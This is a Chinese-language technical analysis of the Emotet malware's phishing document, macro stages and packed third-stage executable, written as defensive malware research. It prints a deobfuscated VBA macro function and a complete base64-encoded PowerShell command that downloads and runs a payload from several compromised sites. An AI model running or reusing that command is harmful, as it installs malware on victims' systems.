深入分析恶意软件Emotet

研究发现,Emotet恶意软件的攻击活动是分为多个阶段完成的,在本文中,我们首先为读者介绍其攻击活动的第1阶段和第2阶段,并重点讲解与网络钓鱼和在受感染的系统中实现持久性控制的相关内容。实际上Emotet是通过包含恶意链接或附件的网络钓鱼电子邮件进行传播的,钓鱼的对象包括个人、公司和政府部门。
第1阶段:恶意电子邮件与恶意文档。
攻击的第1阶段始于网络钓鱼电子邮件。通常情况下,攻击者会定期修改钓鱼邮件的主题、布局、附件和链接。在本文中,我们将分析取自VirusTotal网站的恶意软件样本。

Emotet的一大特点是会不断变换网络钓鱼电子邮件的内容,包括恶意链接以及相应的附件。在本文中,我们分析的是通过以下链接传播的样本:

用户一旦点击了上述URL,就会下载一个包含宏指令的Microsoft Office文档。

样本分析
我们使用file命令分析样本后发现,这个文档有1页,并且不包含任何单词。
f5e9c63713c7ff968f4958a9b5161e78af05f21493e56555734b89f55b2be24c: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word,
Create Time/Date: Mon Mar 11 21:32:00 2019, Last Saved Time/Date: Mon Mar 11 21:32:00 2019, Number of Pages: 1,
Number of Words: 0, Number of Characters: 5, Security: 0
使用Oletools获取文档对象列表后,我们发现了3个宏元素:
  7:        74 'Macros/PROJECTwm'
  8: M   70540 'Macros/VBA/S1ADDQ1A'
  9: M   14650 'Macros/VBA/YBB1wA'
 10:     49987 'Macros/VBA/_VBA_PROJECT'
 11:      1344 'Macros/VBA/__SRP_0'
 12:       110 'Macros/VBA/__SRP_1'
 13:       436 'Macros/VBA/__SRP_2'
 14:       187 'Macros/VBA/__SRP_3'
 15:       601 'Macros/VBA/dir'
 16: M    9719 'Macros/VBA/mA4QAX4'
 17:      4096 'WordDocument'
提取代码
由于对象8、9和16中含有Visual Basic代码,因此,我们有必要对其做进一步的分析。

在提取得到的代码中,mA4QAX4是入口点,一旦打开文档,就会从这里开始执行。另外,所有的VBS代码都经过了模糊处理,具体如下图所示。

由于这三部分是相互依赖的,为了进一步分析它们,必须首先将其合并,相应的代码可以从这里下载。
调用链如下所示:
1、autoopen();
2、iQwUcAAU(param):
· 创建Win32_ProcessStartup类;
· 通过调用Create方法为该类生成对象;
· 将param字符串作为命令参数传递,从而开始执行;
其中,param的值由以下函数的运行结果连接组成:SQoBUAA、vDXBUQ、rDCAQQcA、pAADAADD、k1kGUAB与cAABQDw。所有这些函数,在逻辑方面都非常相似,所以,在去混淆的时候相对不难。以下是SQoBUAA函数去混淆后的代码:
Function SQoBUAA()
On Error Resume Next
jkQBUx = "l -" + "nop" + " -e" + "n" + "c" + " JA" + "BHA" + "G" + "8Aa" + "wB" + "HA" + "E" + "M" + "AN" + "A" + "B" + "B" + "A" + "D" + "QA" + "PQ" + "A" + "oAC"
lBADQoU = "cAe" + "gBf" + "AC" + "cAK" + "w" + "An" + "AEE" + "AWg" + "AnA" + "CsA" + "Jw" + "Br" + "A" + "G8A" + "RAB"
tcoAAAAQ = "B" + "ACc" + "A" + "K" + "Q" + "A7A" + "CQ" + "AU" + "gBf" + "AEE" + "A" + "a" + "w" + "AxA" + "F8"
HAQUxA_ = "AQQ" + "BBA" + "D0" + "Abg" + "BlA" + "Hc" + "ALQ" + "BvA" + "GI" + "Aa" + "gBl" + "AG" + "MAd" + "A" + "AgA" + "E" + "4" + "A" + "Z" + "QB0" + "A" + "C" + "4A" + "VwB" + "lAG"

tUQokAA = "IA" + "Qw" + "Bs" + "AGk" + "AZQ" + "Bu" + "AH" + "Q" + "A" + "O" + "wA" + "kAG" + "k" + "AVQ" + "Bv" + "AF" + "8AR" + "ABB" + "AD" + "0" + "AK" + "AA" + "n" + "A" + "GgA"
cUAAoX = "d" + "AAn" + "ACs" + "AJw" + "B0" + "AH" + "A" + "AOg" + "A" + "vA" + "C8A" + "Yg" + "B" + "pA" + "G" + "U" + "A" + "ZAB" + "l" + "A" + "H" + "I" + "A" + "bQ" + "Bh"
AkQG_A = "A" + "Cc" + "AKw" + "An" + "AG" + "4AL" + "g" + "B" + "uAG" + "UAd" + "AA" + "vAG" + "wA" + "ZQB" + "zAG" + "wA" + "a" + "QBl"
SQoBUAA = jkQBUx + lBADQoU + tcoAAAAQ + HAQUxA_ + tUQokAA + cUAAoX + AkQG_A
End Function
第2阶段:获取持久控制的Powershell
我们还提取一个base64编码的powershell脚本,文档的宏指令将其设置为在系统启动时运行。
powershell -nop -enc JABHAG8AawBHAEMANABBADQAPQAoACcAegBfACcAKwAnAEEAWgAnACsAJwBrAG8ARABBACcA
KQA7ACQAUgBfAEEAawAxAF8AQQBBAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAVQBvAF8ARABBAD0AKAA
nAGgAdAAnACsAJwB0AHAAOgAvAC8AYgBpAGUAZABlAHIAbQBhACcAKwAnAG4ALgBuAGUAdAAvAGwAZQBzAGwAaQBlAC8AbAAnACsAJwBMAC8AJwArACcAQABoAH
QAdABwADoALwAnACsAJwAvAG4AaQBzAHMAYQAnACsAJwBuAGIAYQAnACsAJwBjAGcAaQBhACcAKwAnAG4AZwAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBwAC0AY
wBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAHgAUgAnACsAJwAzAC8AJwArACcAQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAGUAcQB1AGkAZABh
AGQAZABlAGcAZQBuAGUAcgAnACsAJwBvAC4AJwArACcAaQB6AHQAJwArACcAYQBjAGEAbABhAC4AdQAnACsAJwBuAGEAbQAuAG0AeAAvACcAKwAnAHcAcAAtAGE
AZABtAGkAbgAvACcAKwAnAFgAUABGAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AJwArACcAegAnACsAJwBlAHMAdABlAHYAZQBuAHQAJwArACcAcwAuAGMAbw
AvAHcAcAAtACcAKwAnAGkAJwArACcAbgBjAGwAdQBkAGUAcwAvAEcAJwArACcASgBBACcAKwAnAG8ALwBAAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAcwB0A
HkAJwArACcAbABpACcAKwAnAHMAaABsAGEAYgAuAHcAZQBiAHAAaQB4AGEAYgB5AHQAJwArACcAZQAnACsAJwAuAGMAJwArACcAbwBtAC8AdAAnACsAJwBoAGoA
bwB3AHIAawA1ACcAKwAnAGUALwA5AFUARwAvACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAHYAWgBBAEEAQgA0AD0AKAAnAFEAQwBBAEIAJwArACcAQgB
BAFUAJwApADsAJABKAFUAQQBrAEEAQQAgAD0AIAAoACcANAA4ACcAKwAnADYAJwApADsAJABGAGsAWgBBAEQAWgBVAD0AKAAnAGoAJwArACcANABfAEEAQQBCAE
EAJwApADsAJABtAFEAVQBrAHcARwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASgBVAEEAawBBAEEAKwAoACcALgBlACcAK
wAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAByAEIAQQBCAEQAbwAgAGkAbgAgACQAaQBVAG8AXwBEAEEAKQB7AHQAcgB5AHsAJABSAF8AQQBrADEAXwBB
AEEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcgBCAEEAQgBEAG8ALAAgACQAbQBRAFUAawB3AEcAKQA7ACQAQwBYAGsAQQBBADQAQQA9ACgAJwBWADQ
AQgBBACcAKwAnAEEAawBBACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAG0AUQBVAGsAdwBHACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANA
AwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAbQBRAFUAawB3AEcAOwAkAG4ARABBAEEAdwBvAFgAPQAoACcAcwAnACsAJwBvAEEAeABBA
EQAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGMAdwBRAEEAQQBRAHgAPQAoACcARQBCAG8AYwAnACsAJwBBAEEAJwApADsA
解码后,会得到多个URL,它们用于下载第3阶段使用的PE文件。

这里总共涉及5个不同的网站,它们都用于托管Emotet恶意软件。

从上面的分析来看,Emotet背后的团队并没有把重点放在对第1和第2阶段的脚本进行深入的混淆处理。接下来,我们将分析该恶意软件攻击的第3阶段,特别是从被感染网站下载的用于网络钓鱼/垃圾邮件活动的PE文件。众所周知,Emotet是一种高级模块化特洛伊木马,主要用作恶意软件分发平台,其主要目标是让系统感染其他类型的恶意软件。
第3阶段的新特点
对于我们手头上的Emotet来说,最大的特点在于恶意软件作者对于第3阶段的可执行文件进行了更新,通过实现多种反调试技术、动态加载窗口动态链接库、加密导入函数名、多级脱壳等等,使分析变得更加困难。

根据IAT信息来看,这个二进制文件会加载多个Windows DLL,它们分别是kernel32.dll、user32.dll、gdi32.dll、advapi32.dll、shell32.dll和shlwapi.dll。


乍一看,这个二进制文件没有导入任何值得怀疑的函数,因为这些大都是供加壳器使用的。

让我们将这个样本加载到IDA中,并查找有助于下一步进行动态分析的相关细节。我们看到,在IAT中列出的大量导入函数中,用到的函数其实很少。其中用到的一个函数就是VirtualAlloc,它表明可能存在一个定制的加壳器。

关于这个二进制文件经过了加壳的线索,主要在于对于数据段的指针的调用上面:

动态分析与脱壳
对于这个样本的动态分析,我们将使用x32dbg。根据Hybrid Analysis结果来看,该样本好像创建了两个新进程,其中一个进程是对自身的复制,而另一个进程则具有不同的名称。这其实就是嵌入到第一个样本中的加壳后的PE文件。

最有可能的情况是,父进程会调用一个CreateProcess * 类型的Windows API函数。自2018年以来,Microsoft已经将一些功能从kernel32.dll和advapi32.dll迁移到了一个新的底层二进制文件即kernelbase.dll中。如果我们观察kernel32.dll中的CreateProcessA和CreateProcessAsUserA,实际上只能看到几个mov和push指令,然后,它们就会跳转到kernelbase.dll的等价函数。

跟踪线程进入kernelbase.dll之后,我们发现CreateProcessA函数包含许多push指令,然后,会调用CreateProcessInternalA函数。而CreateProcessAsUserA函数同样如此。

实际上,整个调用链如下所示:
[kernel32.dll]CreateProcessA -> [kernelbase.dll]CreateProcessA -> [kernelbase.dll]CreateProcessInternalA -> [kernelbase.dll]CreateProcessInternalW
这意味着,对于任何CreateProcess *函数调用,我们将在创建进程之前调用CreateProcessInternalW。如果我们在这个函数的开头处设置一个断点,就有可能找到脱壳后的二进制文件,它将被注入到新进程中。一旦触发断点,就会有4个内存区域设置ERW(Execute-Read-Write)标志。根据头部来看,这很可能个PE文件。


转储这些内容并正确对齐后,我们就可以进入下一阶段的分析工作了。
动态分析。转储的二进制文件。
不难发现,导出的3个二进制貌似都是一样的,即使它们具有不同的校验和。在这里,IAT表为空,这意味着恶意软件将在运行时加载相关的依赖项。同时,二进制字符串中也没有出现API函数的名称,这意味着所有API函数名称以及库名称都是经过加密的。
执行过程将从3个函数调用开始。

前2个函数包含了该样本将动态加载的API的加密名称。一旦加密的值都加载到堆栈,这些函数就会调用另一个函数。在这里,sub_401550看起来是用于进行解密的。

到目前为止,我能够检测到该样本动态加载的4个DLL:kernel32.dll、user32.dll、ntdll.dll和shell32.dll。
该样本为了只运行一个副本,它会检查是否存在特定的MUTEX,如果没有的话,则创建它。这个MUTEX的名称为PEMF24。

检查/创建MUTEX后,这个恶意软件会查找Windows目录,并将自身复制到该目录下,以及%APPDATA%目录下。这次,新的二进制文件的命名方式会有所不同:这次的名称是在运行时通过连接2个字符串生成的(就本文来说为ipropslide.exe)。所有可能的字符串都会被存储到内存中。


创建新进程后,它就会查找主机信息,如计算机名称和卷信息,并开始与C2进行通信。


经过一番折腾之后,终于得到了部分与C2通信有关的信息。例如,该样本会尝试与3个IP地址建立连接:

小结
我们发现,该恶意软件的作者为新版本的木马引入不同的防御机制。当然,突破这些防御机制并不太难,但考虑到Emotet新版本的发布频率以及二进制文件的变动频率,从长远来看,对其进行分析仍会耗费安全人员的大量时间。同时,即使将HTTP流量发送到非标准目标端口(如8090),就目前来说,也算不上在目标网络中保持低调的最佳方式,因为大多数企业现在会将这种类型的流量视为可疑流量。